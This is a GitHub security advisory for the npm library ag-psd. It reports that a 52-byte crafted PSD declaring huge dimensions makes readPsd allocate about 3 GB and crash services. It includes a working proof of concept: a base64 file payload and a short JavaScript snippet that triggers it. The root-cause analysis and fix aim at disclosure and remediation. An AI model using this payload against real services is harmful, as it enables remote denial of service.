GHSA-QFX6-Q44V-9QQW

Vulnerability from github – Published: 2026-11-13 23:19 – Updated: 2026-11-13 23:19
VLAI
Summary
ag-psd can exhaust memory when parsing crafted PSD dimensions
Details

Summary

readPsd() commits the image/layer buffers from the declared header geometry (width x height x channels x depth, and per-layer rectangles) before validating those values against the actual data. A tiny crafted PSD declaring huge geometry forces a multi-gigabyte allocation.

Impact

On ag-psd 30.2.0, Node 24, a 52-byte PSD makes readPsd(buf) commit ~3.17 GB (measured peak RSS) in ~0.45 s before throwing a catchable RangeError ("Offset is outside the bounds of the DataView") — about 61,000,000x amplification. Because the buffer is committed before validation, the allocation OOM-kills the process before the error on essentially any host (uncatchable), and concurrent requests exhaust memory. Any service reading untrusted PSDs with ag-psd is exposed to a remote DoS.

This is distinct from #39 and #206, which involve genuinely large PSDs (memory proportional to real data). Here the input is 52 bytes: the file declares enormous geometry that is never present, so the allocation is driven by an unvalidated header field, not by actual content, an uncontrolled-allocation denial-of-service vulnerability, not proportional memory use.

Steps to reproduce

The PoC is a 52-byte PSD (sha256 a1146a6fabdfef289472f99a56851249e7a46e8d19d4d8bf85fe833e2f0158b6). Reconstruct with:

base64 -d > poc.psd <<'EOF'
OEJQUwABAAAAAAAAAA0AADcuAAA58wAgAAMAAAAAAAAAAAAAAAAAAdEgNZv+i9bc9ygd2A==
EOF

Then (commits ~3.17 GB before throwing a catchable RangeError):

const { readPsd } = require('ag-psd');
const buf = require('fs').readFileSync('poc.psd');
readPsd(buf.buffer.slice(buf.byteOffset, buf.byteOffset + buf.byteLength));

Root cause

psdReader.js sizes the off-heap typed-array buffers from the declared header dimensions (and per-layer rectangles, a second independent lever) before validating against the available bytes.

Suggested fix

Validate the declared dimensions, channel count, depth, and per-layer rectangles against the actual input length (and a sane maximum) before allocating.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ag-psd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "31.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62297"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-13T23:19:38Z",
    "nvd_published_at": "2026-10-30T21:17:13Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nreadPsd() commits the image/layer buffers from the declared header geometry (width x height x channels x depth, and per-layer rectangles) before validating those values against the actual data. A tiny crafted PSD declaring huge geometry forces a multi-gigabyte allocation.\n\n### Impact\nOn ag-psd 30.2.0, Node 24, a 52-byte PSD makes readPsd(buf) commit ~3.17 GB (measured peak RSS) in ~0.45 s before throwing a catchable RangeError (\"Offset is outside the bounds of the DataView\") \u2014 about 61,000,000x amplification. Because the buffer is committed before validation, the allocation OOM-kills the process before the error on essentially any host (uncatchable), and concurrent requests exhaust memory. Any service reading untrusted PSDs with ag-psd is exposed to a remote DoS.\n\nThis is distinct from #39 and #206, which involve genuinely large PSDs (memory proportional to real data). Here the input is 52 bytes: the file declares enormous geometry that is never present, so the allocation is driven by an unvalidated header field, not by actual content, an uncontrolled-allocation denial-of-service vulnerability, not proportional memory use.\n\n### Steps to reproduce\nThe PoC is a 52-byte PSD (sha256 a1146a6fabdfef289472f99a56851249e7a46e8d19d4d8bf85fe833e2f0158b6). Reconstruct with:\n\n    base64 -d \u003e poc.psd \u003c\u003c\u0027EOF\u0027\n    OEJQUwABAAAAAAAAAA0AADcuAAA58wAgAAMAAAAAAAAAAAAAAAAAAdEgNZv+i9bc9ygd2A==\n    EOF\n\nThen (commits ~3.17 GB before throwing a catchable RangeError):\n\n    const { readPsd } = require(\u0027ag-psd\u0027);\n    const buf = require(\u0027fs\u0027).readFileSync(\u0027poc.psd\u0027);\n    readPsd(buf.buffer.slice(buf.byteOffset, buf.byteOffset + buf.byteLength));\n\n### Root cause\npsdReader.js sizes the off-heap typed-array buffers from the declared header dimensions (and per-layer rectangles, a second independent lever) before validating against the available bytes.\n\n### Suggested fix\nValidate the declared dimensions, channel count, depth, and per-layer rectangles against the actual input length (and a sane maximum) before allocating.",
  "id": "GHSA-qfx6-q44v-9qqw",
  "modified": "2026-11-13T23:19:38Z",
  "published": "2026-11-13T23:19:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Agamnentzar/ag-psd/security/advisories/GHSA-qfx6-q44v-9qqw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Agamnentzar/ag-psd/commit/2d7da68400990bae8ba248a065eb45021fa8000a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Agamnentzar/ag-psd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Agamnentzar/ag-psd/blob/2d7da68400990bae8ba248a065eb45021fa8000a/CHANGELOG.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Agamnentzar/ag-psd/tree/31.0.0"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/cve-2026-62297"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ag-psd can exhaust memory when parsing crafted PSD dimensions"
}



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